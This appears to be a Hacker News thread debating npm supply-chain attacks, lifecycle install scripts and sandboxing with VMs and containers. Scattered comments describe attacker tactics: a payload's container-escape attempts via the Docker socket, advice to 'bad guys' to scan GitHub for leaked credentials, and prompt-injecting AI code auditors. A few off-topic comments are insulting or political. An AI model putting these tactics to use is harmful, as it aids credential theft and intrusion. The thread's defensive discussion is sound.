All that ease-of-development is being paid for by ease-of-rooting.
not as easy as docker, but i have a few bash scripts that simplify things for me a lot
i hope that this protects me from the sweep attacks at least
Since then, I had set up libvirt/qemu based VM with another Linux running in it specifically for development. Now I run all of docker, kubernetes, IDE, pnpm, uv, etc in that VM and removed them from host. The only write capable secret VM has access to, is my passphrase protected ssh key, which I can quickly revoke from my Github account in case of compromise. Feels much safer now.
Some are still on npm but marked "deprecated":
https://www.npmjs.com/package/size-sensor/v/1.0.4?activeTab=...
As the article states, you can see in the package.json that the optionalDependencies references "@antv/setup": "github:antvis/G2#7cb42f57561c321ecb09b4552802ae0ac55b3a7a"
I'm pretty sure those commits have been removed from github:
https://github.com/antvis/G2/issues/7401#issuecomment-448480...
My understanding is that the problem is more that calling in the heavy artillery for what amounts to an annoyance, and maybe some financial harm, is generally considered impolite, even among nations that have conflicting worldviews.
The culture makes a difference.
Now how many other mainstream languages of any kind have a standard library that is so lacking?
Now how many other mainstream languages have a swathe of front-end developers that suddenly realised they can run code in a CLI or on a server, and spent exactly 0 minutes learning about how to make it not shit?
Now how many other languages get used in scenarios where it makes absolutely zero sense because the developer only knows javascript?
— <https://itnext.io/no-way-to-prevent-this-says-only-developme...>
The Onion article this joke refers to [1] is funny because there is a very clear and obvious reason why the U.S. has far more gun deaths per capita. This doesn't apply for npm.
[1] https://theonion.com/no-way-to-prevent-this-says-only-nation...
Edit: please explain. What other community has this rate of attacks? It's possible they are just detected or publicized less, too. Please help me understand what you're referring to.
But... Node's culture does not reward "rational" policies with respect to dependency management in the same way that the US does not reward "rational" policies with respect to gun control *. But US gun control policy is a reflection of the "will of the electorate" -- i.e. there are a lot of Americans who want (or need) to own firearms. In the same way, NPM reflects the culture of high-speed, sili-valley web-devs.
I mention both not to criticize, but to comment it's not the tool that's at fault here, but the users who demanded it evolve the way it did. We moved fast. We broke things. And some of the things that remained broken were sociological: It's easy enough to add PGP/GPG signatures on packages, but whom do you trust? What is the meaning of a signature? Does it mean the signer warrants the package/version is free from defects?
NPM is working as designed. Users wanted the software construction equivalent of a loaded revolver. But we got something that was a bit more like a nuclear weapon with a large blast radius. At least the revolver user would more-likely only shoot their own feet six times (or twelve if they reload.)
[*] I'm trying very hard not to start a flame-war about gun control, I only mean to point out dependency management in node can be as contentious in it's domain as gun control policy is in the domain of US politics. Note that I am not making a pro or con argument about gun control, but only pointing out the issue exists. The word "rational" is intentionally chosen to reflect the fact that people's opinions on gun control and package management are often based on personal, often emotional beliefs (which should not be dismissed.)*
That is like people defending IIS in the early days by pointing out that Apache occasionally had security problems too. Or, back to the gun control analogy people saying “gun control didn't stop Bondi Beach, did it?” or pointing out [incorrectly]⁴ that everywhere that has gun control has knife crime⁴ instead.
> because there is a very clear and obvious reason why … . This doesn't apply for npm.
I disagree. There are a number of reasons that stack together, the four that spring to the top of my head being:
1. Numbers. There are a lot of potential targets you can exploit if you manage to get something into a ecosystem that large. This “being a big fat target” combined with being easy to exploit makes NPM a very juicy target, and encouraging people to use such a target without trying to implement countermeasures for this sort of attack is IMO reprehensible. Numbers isn't a problem in itself, like in the bad old days when IIS was a mess but Apache got (successfully) attacked far less, but they do exacerbate the security issue by multiplying the attack surface area.
1b. A lot of those using it are relatively untrained or just following recipes so do not know how to protect themselves, and may not even update after an attack like this and remain vulnerable for some further time. While this is not NPM's fault, being due to the popularity/commonality thing, it is something those in control of NPM should care about, if, as I believe is claimed, they care about their users⁰.
2. It is an environment where a ridiculous amount of dependencies, nested impressively deep, is practically encouraged, making audit very difficult even for those who try.
3. A number of good suggestions have been made that would mitigate, or at least vastly reduce, the risks. But action on these has, as far as we know, not happened. Sometimes for good reasons, or at least for reasons¹ rather than “just because”/“cost to implement”/“we don't wanna”, and sometimes, well, not. And no alternatives from within those running NPM are being suggested/worked-on, as far as we know² at least.
4. Those who would make most noise about any change, especially a breaking change that affects them in the smallest way, simply do not care about the risk the situation poses to the wider population.
While the gun control analogy might be a little stretched, I think it is relevant enough particularly because of points 3 & 4.
--------
[0] I refuse to use the word community here. This isn't a cosy little village where everyone knows your name and everyone looks out for everyone else.
[1] Them bringing significant breaking changes, or being too complex to implement piecemeal to give time for those breaks are dealt with or otherwise prepared for, for instance.
[2] If something was being looked into, I'd expect it to be announced³ as that would quieten criticisms like these, at least a little.
[3] Maybe not immediately, but this has been a known problem for so long that we are well past immediately.
[4] When it isn't the case that the US doesn't have knife crime, it just doesn't get reported because the gun issues are worse. Like car travel killing more in total then flights, but you don't hear about every car crash. The UK is often given as an example in these comparisons, but if you look at the stats our knife crime rates are lower than the US's - it isn't that other countries have knife problems instead, the US has worse knife problems as well as the guns problem.
What are the other ones? Does this happen with the same sort of frequency?
As long as developers in the ecosystem are cavalier about installing huge chains of dependencies, NPM will be an attractive target for attackers.
Even though we wish it were not so, cultural problems seem to be the hardest technical problems to solve.
If the attackers spearfish folks who hold “keys to the castle” and everything is digital it’s game over no matter what ecosystem.
Those things should be locked down by “something you have” because that’s much more difficult.
There is crowing from the "Actually copy-paste is better" people when this happens, but when it's their turn they just jam their fingers in their ears. The memory safety and gun safety problems are the actual problem. Shai-Hulud would ruin your day if it got into the Odin release you used to build your software, or it was copy-pasted into your "vendor everything" C++ project, the choice not to have automation doesn't mean you fixed the problem.
[1] Guns are a core part of culture for much of America, very deeply so outside coastal cities. Most of the left wing in the US lives in coastal cities and either grew up there or immigrated very recently and does not leave, so this is an alien concept to them, but even in very blue cities like D.C. you would be shocked how many liberal democrats have armories. It is literally amendment #2!
[2] They are already widely distributed and it would be a logistical impossibility to actually enforce gun control.
This is directly analogous to NPM where:
[1] The package registry working the way it does and people quickly installing packages without thinking much is deeply part of JS culture. It doesn't help that JS caters very heavily to as wide of a market as possible, of which the majority is going to be entry level/junior to associate engineers for whomst script kiddying or letting AI install whatever is essentially a way of life. As evidence, this type of thing is not really a problem with derivatives like Bun, especially in mature organizations where it's easy to enforce a minimum 72 hour wait time between publish and installation of a package.
[2] Packages are already widely distributed and part of dependency stacks (e.g. the infamous leftpad) where it is a logistical impossibility to change how things work.
I also view startups and companies like Vercel as essentially the NRA here, Next.js has taken over huge swathes of the ecosystem and highly encourages dependency-maxxing.
Another direct analogy: proponents of gun control say they are unnecessary for self defense (esp. because law enforcement is good now), too heavy duty to begin with, and fundamentally dangerous.
Similarly I would criticize dependency-maxxing as unnecessary for capability (esp. because AI is good now), too heavy duty to begin with, and fundamentally dangerous.
I'm not following. Whats the 2nd Amendment equivalent for memory safety? The amount of C/C++ in production or something?
Don't make braindead My First C Program mistakes?
But aside from the package-size / -complexity issue pointed out in a sibling comment, PyPI also tries a fair bit to monitor for incoming malware (and there's a "report project as malware" button on each project page).
Also, there are no post-install scripts (of course, the code can detect when it's being run for the first time in the installed environment); and pre-install scripts are only included in sdists[0]. So you can easily[1] configure your installer such that you at least won't get pwned at install time, at the cost that some[2] packages can't be installed that way. And then you can go inspect, run a security scanner over, etc. whatever got installed; wheel installations just copy things to well-defined locations and generate simple wrapper scripts by strict rules.
[0]: I.e., when the project is "being built from source", which generally is only necessary when it includes non-Python code directly and the maintainer hasn't pre-built that code for your system.
[1]: Notwithstanding that, with pip, many actions that you'd expect not to get you pwned totally can. Such as, for example, explicitly telling it to download an sdist and not install it; as I discussed in https://zahlman.github.io/posts/python-packaging-3/ .
[2]: In practice, a pretty small fraction of what typical developers would actually care about, at least outside of specific niches. I'm told there are some niches where it's a big problem, but honestly they're lucky that this kind of build-install orchestration sort-of works at all.
Cargo is essentially the same as NPM though, it's only "safer" because it's less popular.
Although the situation on NPM is extremely uncomfortable, you're probably less likely to get hit if you take reasonable precautions than on PyPI, simply because NPM is getting scanned more often. Most of these attacks on NPM have been detected and pulled days before my min age kicks in. A sleeper attack on PyPI could be devastating.
We've had such issues on other places as well... Shai-Hulud got into Maven [1] and PHP Composer [2], typosquatters got into Maven [3], and it's not new either [4].
No one is safe from skiddies, much less from nation state actors.
[1] https://thehackernews.com/2025/11/shai-hulud-v2-campaign-spr...
[2] https://semgrep.dev/blog/2026/malicious-intercom-php-package...
[3] https://www.esecurityplanet.com/threats/malicious-jackson-lo...
[4] https://socket.dev/blog/malicious-maven-package-exfiltrates-...
Wake me up when the daily npm security breach headlines are typosquatting stories, not RCE-on-build or RCE-on-upgrade.
pnpm audit —fix for example will whitelist releases in cooldown phase when theres a known security issue for a version you currently use.
Socialism or our right communism would probably fix this.
But only as a second order effect of fucking everything.
3.5 to 6 million Ukrainians died in the Holodomor.
None of them really had any issues with technology. Not so much because they didn’t have any, but more so because they were dead.
NPM - NPM Packaged Malware
(maybe workshop this)
Sad.
The issue is that github actions has too many security gaps that are easy to miss.
When I publish commercial software for Unices that use shared object libraries, one of the things we do before publishing is review known vulnerabilities of our 10 dependencies. That is a tractable number. I get a senior engineer to spend time with an intern and step them through the evaluation criteria.
If the team managing a particular library grows lax over time with respect to responding to vulnerabilities, we move away from using that library.
And we can do these things because there are a tractable number of dependencies.
But yes, also GitHub is not pure as the driven slush. I agree with you on that.
Both Python and Node users (metaphorically) asked for a loaded revolver... They got a metaphorical high yield thermonuclear device with a large blast radius. (And then they skipped the safety tutorial for the B-83 they just bought.)
RCE-on-build/upgrade can be done in Maven if you manage to compromise one of the major Maven plugins, they run at build time. The thing keeping maven safe for now is that most people pin the plugin and dependency versions, with the obvious side effect that it's truly annoying to get all your dependencies updated.
Yes, and also the signing of JARs that are uploaded to the repository, and the fact that most release processes are not fully automated, and the batteries-included standard library which reduces the total number of dependencies, and the fact that a run-of-the-mill third-party library can't execute code at build time, and the very small number of people with credentials to publish new versions of major Maven plugins, etc.
Compared to calling in air support on cyber criminals.
How’s your reading comprehension coming along?
don't attack people like this on this forum or you will get banned
I dunno, some people just have no sense of humour.
> or you will get banned
Oh yeah, run and tell the teacher. Dibberdobber.
Tell me, did you grow up in a fatherless home?
It’s another thing to have the entire Iranian parliament broadcast chanting “death to America”.
I’m not even American.
I don’t even agree with half the stuff Trump says or does, but I’m onboard with at least 20% of it, and that’s infinitely better than the last bunch of clowns.
I signed up for an npm account and pushed packages. Same for PyPI. Same for Ruby gems.
There's no actual reason why anyone should believe I pushed anything but malware in there.
Developer experience level is a part of the problem.
Developers in general want to push packages. They don't want to experience friction while doing it. They especially don't want to have to do things like engage with Linux distribution maintainers in order to get their packages into official software repositories. They want to just run $pkgr publish on their repo and that's it. So they invariably end up creating their own distribution mechanisms with zero maintainers involved. Just untrusted randoms making accounts and pushing random stuff. It's easy, so naturally what happens is the repositories get filled with software.
It's only natural to use the stuff that is out there, so the packages get added to projects as dependencies despite the fact none of it is even slightly trusted. Developers hate friction when using libraries too. They very much want to just run $pkgr install x on their repositories and be done with it. They don't want to do things like read the source code or verify that it actually corresponds to what they've downloaded. That's somebody else's problem. On Linux distrubutions, that somebody else is the package maintainer, the exact person the programming language package managers aim to eliminate.
If it’s secured by a hardware key, they need to have the key physically.
Two step could work as well with the proper Authenticator.
My recommendation for bad guys is to not attack the part of the system where it is strong. Just sniff around a bit until you find the weak part and attack that.
Also remember most devs couldn't use a static analysis tool to save their lives (which is why mythos is relevant.) I suspect that a 15 year old copy of Fortify or CoVerity could find bugs mythos missed.
And if that doesn't work, just start scanning github repos for entropy. That's where the credentials that were accidentally published live.
That was one of the promises of wasm was sandboxing npm packages independently. Not sure what happened with that or not but I’d be curious to know now we’ve had a lot of recent supply-chain publicity.
For example, if every fetched module is sandboxed and even if they got compromised there would be more protection. It would be more “when” not “if” the package is compromised, nip it in the bud.
But then attackers will target the most exposed packages… :)
Security is hard.
Sure, if your entire "community" lives and dies by a nonsensical "don't reinvent the wheel, there is a package for that" chant that would rival the most fervent cult members.
It's a convenience feature that provides built-in Arbitrary Code Execution (even for transient dependencies), and every one of these widespread NPM worm style attacks has propagated through it, because of the default setting. Also enabling it for one command shouldn't automatically permit all transient dependencies to run lifecycle scripts, it should be required to explicitly mark each dependency to limit it to where it's absolutely necessary.
The vast majority of NPM packages do not depend on these scripts, and you should disable them globally if you haven't already.
This default can affect all consumers of NPM packages, regardless of whether you use yarn, pnpm or npm itself, because most package maintainers use NPM. This is why it's NPM's responsibility to change this default in order to prevent spread of malware in packages.
That said, packages could still just run whatever junk they want when they first get imported in a program.
There's not a word in the English language that really expresses how absolutely stupid the npm ecosystem is and the developers that perpetuate it by importing a package rather than writing 5 lines of code.
1. Every day there's a new package.
2. Then five more packages appear so you don't have to write that one terrifying line of JavaScript yourself.
3. Then someone writes a wrapper around those five packages.
4. Then someone writes a "modern, lightweight, zero-config" wrapper around the wrapper.
5. Then a framework adopts it, a build tool requires it, and suddenly your todo app has a dependency graph that looks like international diplomacy.
6. Out of 100 devs building the same product, there are now 300 different dependency combinations, all somehow involving 'left-pad' spiritually if not literally.
7. Half the packages are maintained by one person, unpaid, at 2 a.m., after getting yelled at in GitHub issues.
8. The other half were abandoned three years ago but still have 40 million weekly downloads because removing them would break civilization.
9. Pinning dependencies sounds nice until the ecosystem tells you, "sorry, this package only works with Node 22, this plugin needs Node 18, and this transitive dependency has discovered ESM enlightenment."
10. So everyone lives on the bleeding edge, except nobody agrees where the edge is, and the bleeding part is very real.
So yeah, npm is not uniquely cursed because JavaScript devs are worse. It's cursed because it turned code reuse into a lifestyle, dependency trees into rainforests, and 'npm install' into an act of faith.
It's a sad state of affairs, for sure - but is there a reason we can't just switch our frontends to static BOMs, and trust that NPM at least gets their "you can't republish to an old version" bare-minimum constraint right?
But even if the dev community comes up with super hardened security, I fear in at least a year the models will be good enough in social engineering that we are still running a losing game.
https://github.com/nrwl/nx-console/security/advisories/GHSA-...
PS: I posted on HN to try and alert people right after it was compromised but sadly got almost no upvotes :-(
I concur, the best part of working with Deno way back was its standard library [0] and overall complete dev environment. It is just so damn obvious that a runtime comes with an integrated test runner and assertion library.
> The payload checks for the Docker socket and, if present, attempts container escape through three sequential methods:
So even if you're running devcontainers / VMs, these worms are already trying to escape.
Make sure you're running a rootless VM engine (e.g. podman instead of docker) !
This seems analogous to how we tackle email spam and general malware. It means that there is almost always a target valuable enough for bad actors to continue trying. However, unlike email (mostly...), package managers are centralised authorities (and anything out-of-band is surely the developers problem?).
My ill-informed feeling is that we might need to change the culture of lazy versioning with rapid releases and focus on stable, deeply scanned versions at registries. There will be some effect of volume and scale so I could be off, but it still seems telling that this impacts high-churn languages more often.
I don't know, I would love a comprehensive article that explores the landscape right now.
The roller coaster in that movie was called Mr Bonestripper, https://www.youtube.com/watch?v=NEZEgd8GjJc .
Instead it comes from Roller Coaster Tycoon 2, https://knowyourmeme.com/memes/mr-bones-wild-ride .
As for the comparison with spam, there we kind of settled on making people accept spam by vacuuming up their email addresses in pretty much every commercial and social computer network setting, giving it a veneer of legitimacy. I think it is likely to happen in this area too, perhaps some combination of Oracle licensing surveillance agent style software and automated dependency management, i.e. 'solving' supply chain malware by whitelisting some other malware.
https://aube.en.dev/package-manager/jailed-builds.html
But this feels like a cat/mouse game.
1. It seems like the restrictions are only for lifecycle scripts, so wouldn't help if/when the package's actual code had malicious code inserted?
2. Package managers like pnpm seem to entirely block lifecycle scripts by default, so I guess this is an in-between solution.
Still, I guess it's a step in the right direction for those want or need to run lifecycle scripts specifically.
That is what made Bun popular, and tools like uv/pip, oxlint/eslint, orbstack/docker desktop, and the list goes on. Drop-in replacements where we get 10x with little effort.
But, it's a good feature to have.
Thanks.. gonna integrate now :)
In JVM-land, thanks to binary distribution being the default, the number of packages you can usurp to achieve the same compromise is fairly small; essentially Maven and Gradle plugins. Which is why you should be extremely wary when, say, Sentry tells you to add them as a dependency by setting up their Gradle plugin. Not sure about sbt. Clojure source dependencies can provide "prep" scripts, which are not automatically run as part of a build, but still execute code on your machine.
There's a pattern here: some build tools incorporate dependency-provided code as part of the consumer project's build, and that is a juicy attack surface. Packages which include such code, or are recently updated to include it, should be treated with extra scrutiny.
How does having an AI audit external code help? Can they not be prompt injected to ignore a malicious change?
I guess I am sort of concerned that they are a pretty thin layer and even if you put "DO NOT ALLOW PROMPT INJECTION", it's a bit like saying "make no mistakes". There _is_ a priority between `system` and `user` level messages as I had recalled, so a specifically made tool that has its own system prompt should prevent injection while asking Claude CLI could still allow for prompt injection.
What are your thoughts and experience?
The concern is real and unsolved. I think security researchers have an advantage here because they still can fall back to manual audits if their automated analysis (or scores thereof) is off.
The trickier part is dev environments, but ideally you take a similar approach. The place that devs do `npm install` should be isolated from, say, your browser / ssh keys etc.
Package manager support would be an amazing win here since you'd have an easier time managing the isolation but you can do this today.
My JS is frontend only, served as a compiled bundle off a server that doesn't even have a JS runtime of its own. Whatever random vulnerabilities the frontend contains are limited in blast radius to the user's own browser, and since all frontends should be untrusted anyway, there is no real security risk to the server or backend. No reason to update more than a few times a year, if that.
Combine with obvious basic security practices like pnpm cooldowns + no build scripts. When you upgrade a few times a year, and frontend vulns don't matter, there's really no limit to the cooldown you can set. 60 days, why not.
Yes, I choose to use pnpm but opt-in safety isn't going to get the developer community to herd immunity.
As the name implies it's for building stuff. Most (all?) packages that use C++ FFI with node-gyp need it. A popular package that needs it is re2.
Many newer packages bundle prebuilt native code as transitive dependencies, so build scripts are less needed than before.
Historically it was to accommodate packages like the original SASS compiler:
https://sass-lang.com/ruby-sass/
Other times it was to avoid shipping binaries due to, erm, safety concerns. The package would include code in a different language, which in turn would compile into a binary library or executable.
Most packages should not need arbitrary code execution during install. And when they do, that should be obvious during review.
The default should probably be: install files, don’t run code.
I spent a week with claude and codex re-implementing several packages which had dependency trees deeper than I would like.
Most of these packages are trivial to clone.
"But now you're not getting the upstream fixes" they will say.
"So what?" I reply
Edit: a more suitable strategy is to do the minimal necessary actions for appearance purposes only, as its how to focus and optimize on its interest for revenue for its shareholders.
https://www.microsoft.com/en-us/security/blog/2025/12/09/sha...
https://azure.microsoft.com/en-us/pricing/details/defender-f...
So this is presumably why they will never address this in npm itself.
But then the compliance team gets annoyed because some CVE with a CVSS score of 3.1 that has a patch available sits unfixed.
That would wake NPM up at least to the notion that it's absolutely reasonable to require OSS maintainers to press a button on their phones when releases go out, and that's a good thing not a bad thing.
They don’t want to pay engineers to do the analysis manually, and they don’t want to pay for someone to figure out a better automated system.
Would anyone be surprised at their car having problems if they cheaped out on oil changes?
... Does NPM not create full lockfiles, with hashes and pinned transitive dependencies and everything?
IMO this is built on a pre-ShaiHulud, pre-AI set of assumptions, and should be evaluated from first principles with today's security situation.
Never mind questions of how good the models will/can get. I'm confused why people expect that, in principle, models getting really good at social engineering would have such huge impact. Seems to me like it has diminishing returns and is severely bottlenecked by the fact that the target operates at human speed.
The amount of effort involved in the XZ hack, for example, was immense, and it couldn't have been accelerated because it worked specifically by wearing the existing maintainer down over time. You could generate and send all the necessary nastygrams in seconds and it wouldn't speed up the human consuming them (and in fact, having all of them arrive at once would raise suspicion).
And there is a limit to how persuasive that input can be. Take any of the random nastygrams directed at the XZ maintainer; maybe they could have been made more nasty, more pointed, more aware of the maintainer's personal weaknesses and fears — but would that have actually been overall more effective? I think not, or at most only a tiny bit.
(btw that the Titanic sunk is not an excuse not to secure other ships. And it did save a great many other ships to have watertight subdivision.)
So... Although there are exploits escaping containers and VMs and then bad guys doing lateral moves across machines, you still want defense in depth.
Of course, the trouble is that there are so many test runners in the Node ecosystem and many of them cannot be as easily replaced as Mocha, so the shift to the out-of-the-box test harness and assertion library will of course be painfully slow. People like the over-complicated nature of both Jest and Vitest for all sorts of reasons. Major companies thought Karma was a good idea. (I still don't understand why more developers didn't cringe at "Yo dog, I heard you like V8 for your unit tests, so we're gonna spin up a second, different copy of V8 from your existing V8 environment.")
[0] https://nodejs.org/api/test.html
[1] https://nodejs.org/api/assert.html#strict-assertion-mode
Do any language standard libraries have a "3 hours ago" formatter? Thats what timeago.js does
Maybe slice.js, which just does python-style indexing with negative numbers. TC39 already made array.at() and array.slice() handle negative numbers.
There's also a platform feature for that now: Intl.RelativeTimeFormat: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Refe...
It asks you to do the basic time math to determine your granularity so there's still a role for a library, but also that time math gets easier with Temporal: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Refe...
(Specifically `Temporal.Now.instant().since(somePastInstant)` returns a Temporal.Duration that you can relatively easily determine the highest granularity you want and pass that to an Intl.RelativeTimeFormat instance. Also Intl.DurationFormat which is what a Temporal.Duration's `toLocaleString()` uses may also be good enough in many "x hours ago" type situations, though it is over-precise for them.)
It reminds me of the good old days when people would hand out low privilege Linux accounts and rely on the kernel to prevent privilige escalation. Docker is literally the same thing, just with extra steps. Especially today with new kernel LPE'S dropping every 5 minutes.
Yes, Podman is a bit better because you arent handing the attacker root, but... why hand them an account at all? Just use a grown up VM.
Solaris Zones and FreeBSD Jails (their inspiration) also share a kernel with the running system and do not seem to have as many escape vulnerabilities.
(Though partly because there may not be as much scrutiny of course.)
Then I've been toying with using WASM, with a strictly limited API surface... (API stands for what, "Attack, Please, Infiltrators"?)
I'd really love to make a service which can run "untrusted" code... I want this to exist. I want it to feel like the Sandstorm.io marketplace, and to use Tailscale or something like it... and then to make "Facebook but only for friends or friends-of-friends." No public figures. No random people or ads in my feeds. Just friends. And then other similar apps - mail, discord, etc. Don't let it make outbound HTTP connections. Don't let it access local filesystem, other than assets that were bundled with it. Give it a SQLite API... And let it handle inbound HTTP, REST, WebSocket requests... And use gRPC over Tailscale to only talk directly to approved contacts...
Thoughts? How to run untrusted code safely?
I tried using Firecracker and gVisor... But I'm dissatisfied with them. I was trying to make it easy for someone to download and run my service... But Firecracker and gVisor don't at all feel like "libraries that install cleanly." They feel more like, if you're enterprise scale, you can hire someone to make sure Firecracker and gVisor work the way you want... Maybe I'm just not trying hard enough... Maybe using WSL2 on Windows 11 is just asking for trouble. I tried several different ways to run Linux on Windows, and none of them seemed very happy, when I tried to add Firecracker / gVisor.
The reason you don't use a "grown up VM" is because it's significantly more difficult. Which VM? Firecracker requires KVM and a guest operating system - so how are you getting things in and out in a way that doesn't violate security? That's real work.
gVisor is great and my recommendation, certainly, but the difference between "nothing" and "docker" is actually pretty huge imo.
... Did that actually stop?
... Is that not the purpose of being able to make multiple accounts (even on a random desktop or laptop system) and restrict their privileges?
Amazon has been doing it with Firecracker for a while and Kata containers is another popular one
Extra 'overhead' and heaviness (perceived or real).
Aren't most people running docker rootless (at least on Linux)? Does podman do more?
In the HPC space Apptainer (previously "Singularity") was created precisely due to (multi-)user-level access, especially with the use of NFS.
On Debian derivatives, you need some kind of extra privs to even talk to it (being a member of the "docker" group, iirc).
> podman info --format '{{.Host.Security.Rootless}}'
to ensure podman is rootless in your config.
The standards haven't changed; for the vast majority of JS programmers, this is their first programming language and they have no solid foundation of architecture and security.
So what you get are these overly enthusiastic newbies that want to share their latest achievement with the world (say, a function to left pad a string), and why not include a fancy post-install script with emojis that makes adoption even simpler for other complete noobs? And this is the result.
Where does that compilation happen again? Not on the front end and it happens exactly where the exploits have been targeting (dev and build boxes).
Funnily enough, I don't actually think I do serve third party JS, though. Don't serve ads, don't use external telemetry, don't use JS CDNs. I don't think you have to go quite as far as I do, though - I imagine if your ads are Google AdSense or something, you're probably going to be fine.
Deno at first tried to focus only on web-like/browser-like package management with a focus on full URLs ("https://mypackage.example.com/v2/mypackage.js") and importmaps (a JSON file mapping "mypackage" to a URL such as the previous example) and package/file caching over installing. Deno 2 made Node-compatibility a higher priority (partly because of Bun's competition, partly because of complaints that Deno was hard to migrate to piecemeal from existing Node codebases) and one of those initiatives was a more npm-compatible package manager out of the box (that can also speak Node package.json and manage a node_modules directory), even as Deno still encourages for greenfield projects the URL/importmap/caching approach (with the expansion that it also understands `npm:` pseudo-URLs, `jsr:` pseudo-URLs [an alternative package registry with a stronger focus on ESM and Typescript types], and `node:` pseudo-URLs [emulated node internals], beyond just browser-safe `http:` and `https:` URLs).
I wrote a comment ~8 years about this[1], I'm kinda sad people still do this and seem to misunderstand just how big of a security hole they are opening...
Just don't do it. If you absolutely must then you can configure some very restrictive AuthZ plugin (but those are incredibly fickle and are almost certainly security theatre because they are basically just an application firewall).
https://github.com/matheusmoreira/virtdev
It's been working really well. Use it every day. Just make some machines and ssh in.
You've got me there, but it's not really saying much.
Seccomp, for example, is nice, but... It blocks ~44 system calls, and leaves 300 plus exposed. Any memory corruption issue in those remaining calls remain wide open. So better than nothing? Absolutely, but it leads to a false sense of security. I know actual security researchers that intentionally run malware inside Docker and think they're safe. They're not.
Then we can talk about docker itself. It had something like 6 public CVE's related to full escapes last year. If your patch cycle takes 30 days then you spend about half the year with a full, public, escape known. Even if you patched those all on day one you spent most of the year vulnerable to one of the many Kernel vulns that it doesn't stop. On any given calendar day it's statistically likely there is at LEAST one way to escape publicly known and unpatched.
So, yeah. It beats nothing by a huge margin, but it's WORSE than nothing if you think it's safe to run arbitrary untrusted code in. That was never what it was for, it's just what people treat it as. It's not a VM, wasn't designed to be, and people need to stop pretending it is.
So, back to the GP post - TC39 should make a bigger stdlib.
Lets say timeago.js is warranted (as a polyfill and terser API) AND TC39 is taking action.
On slice.js, TC39 took action AND usage is unwarranted since the functionality is widely available. Maybe a stride.js would be needed.
There are 2 modules where npm's culture of "tiny modules because the stdlib is impoverished" holds - but the issue isn't TC39 really. There are 312 modules that aren't related to npm's culture of "tiny modules because the stdlib is impoverished".
Though it may be useful to point out that timeago.js specifically is not a wrapper for Intl.RelativeTimeFormat. It implements its own unique internationalization beyond/instead of the platform capability. (Similarly, so do Moment, Luxon, and date-fns.)
I would argue that it is unwarranted to use such libraries, because we can do better in Vanilla with platform features now. Though yes, Safari still doesn't implement enough of Temporal today for it to be considered Baseline Widely Available. (There also are direct Temporal polyfills. Surprisingly I've found vanilla polyfilling with Date by hand isn't terrible enough to warrant a Temporal polyfill, but also my most complex Temporal math is usually server-side in Deno.)
But yeah, that's mostly quibbling outside of the point being made.
> There are 2 modules where npm's culture of "tiny modules because the stdlib is impoverished" holds - but the issue isn't TC39 really. There are 312 modules that aren't related to npm's culture of "tiny modules because the stdlib is impoverished".
Ah, yeah, I think that is a fair call and I mostly agree with it. "The stdlib is impoverished" argument has changed a lot since the "leftpad" days. So much so it has started to feel more like "the stdlib was impoverished for too long" (and/or "Node was too slow to adopt Browser platform stdlib features and accidentally forked the stdlib for too long"). Most of the damage happened in the past, but a lot of those libraries remain in the ecosystem as developers are slow to adopt new platform features or switch away from old "comfortable" libraries (timeago.js or slice.js versus more vanilla approaches; the quibbling above wasn't entirely tangential, I suppose).
But also the proliferation of modules in npm goes far beyond that. Of course there are a lot of blockchain libraries that will never be stdlib. Of course there are client modules to proprietary APIs that will never be stdlib. The giant size of the npm ecosystem includes a lot more than just "stdlib" style libraries.
I even think the "leftpad" debacle itself did a lot to accelerate npm out of the "tiny modules" approach in general. It also may have itself been a sign that that attitude was already dying. (It was caused by one of the earliest and most prolific "tiny modules" authors leaving the ecosystem in a huff because the ecosystem was changing.)
You're not wrong that there's a lot of crap, a massive legacy, and some bad behavior. It is also approachable, flexible, and portable. Even if you sometimes need to say "Wat?!?"
Educated or not, there are many programmers who simply don't give a fuck. Unless you make all the IT jobs a regulated profession and enforce significant yearly recertification, the mediocres will dominate. You cannot be nice and inclusive to mediocre programmers and expect good baselines.
What a wonderful marketing opportunity! Leave it to Microsoft to blindly ignore it.
Node is working on a similar permission model to Deno that allows explicitly granting certain system resource permissions https://nodejs.org/api/permissions.html. Using it should help reduce impact from malicious code, though if you allow wide permissions it's unlikely to help.
If npm got rid of the post install scripts it would permanently break the install process of packages that use it. Affected systems will need to bypass it, stay on an old npm version, or upgrade the packages to versions that work without post install. Meanwhile, attackers switch to a different attack vector and continue.
Who does that help?
Having said that I'm not against full on removal of post install either. It would get more pushback, but would still be possible for people to manually run the post install for the few packages that require it, or to add them as a script in package.json.
By a manager for for a >$1 billion market cap corporation who doesnt understand that the one person isnt an employee.
It certainly reads as LLM generated!
I don't know Japanese at all. Sometimes I use LLMs to translate discord messages into Japanese so I can communicate with Japanese people. Then as verification I translate the messages back (with different LLMs) and they usually come out as a near-verbatim version of what I wanted to say. In other words, they don't come out in the chatgpt style of writing.
If I'm able to do that, then chatgpt should be able to fix your English without chatgpt-ifying the whole comment.
the trouble is, we need protocols that are software determined that force AI interaxtions into limited scope but currently theyre all just bash adjacent and inherit your tools.
You'd think if it was that easy, there would be exploits all over the place.
Why isn't every single desk phone and router part of a botnet?
"Rootless mode lets you run the Docker daemon and containers as a non-root user."
https://docs.docker.com/engine/security/rootless/
This is how docker is best installed on Linux, and there's a convenience script for it as well (https://get.docker.com/rootless). I am surprised that's not how people are using docker.
often, docker in docker is used to manage docker orchestration. putinng a user in a docker and peoviding docker access is security through obscurity.
on the flip side, i see people blindly installing tools and skills not understanding they are pushing context and capabilities without any significant security features.
Imagine mythos is actually exceptional hacker. if you give it a well crafted malicious prompt, its going to even more insecure.
the double edged sword is really fascinating to think about
Almost everyone I know installs docker rootless.
Python packages traditionally use setup.py to install code, and setup.py is all executable code under the installed package's control.
Native Ruby Gems execute arbitrary code via extconf.rb.
Pre .NET Core, NuGet packages could ship scripts like `install.ps1`. That's been removed, but they can still ship `.targets` and `.props` files that are incorporated into your build (and so can run code at build time).
PHP Composer packages can ship install scripts or configure themselves as Composer plugins.
The venerable .tar.gz approach to packaging, covering decades of C and C++ code, is all about executing code during installation.
There are measures that can help (e.g., PHP Composer doesn't run install scripts of _transitive_ dependencies) but the JS space is adopting measures that can help too (like pnpm's approve-builds).
But nowadays prefer pyproject.toml, and most people use pre-built distributions (wheels) for their architecture from PyPI, so don't execute arbitrary code to install packages.
> PHP Composer packages can ship install scripts
Which requires the user to say yes to running them, but they can also say they only want a specific package to run scripts with something like "composer -n config allow-plugins.foo/bar true && composer -n require foo/bar"
> The venerable .tar.gz approach to packaging
Which most people don't install directly, but have already had built for them by their distro.
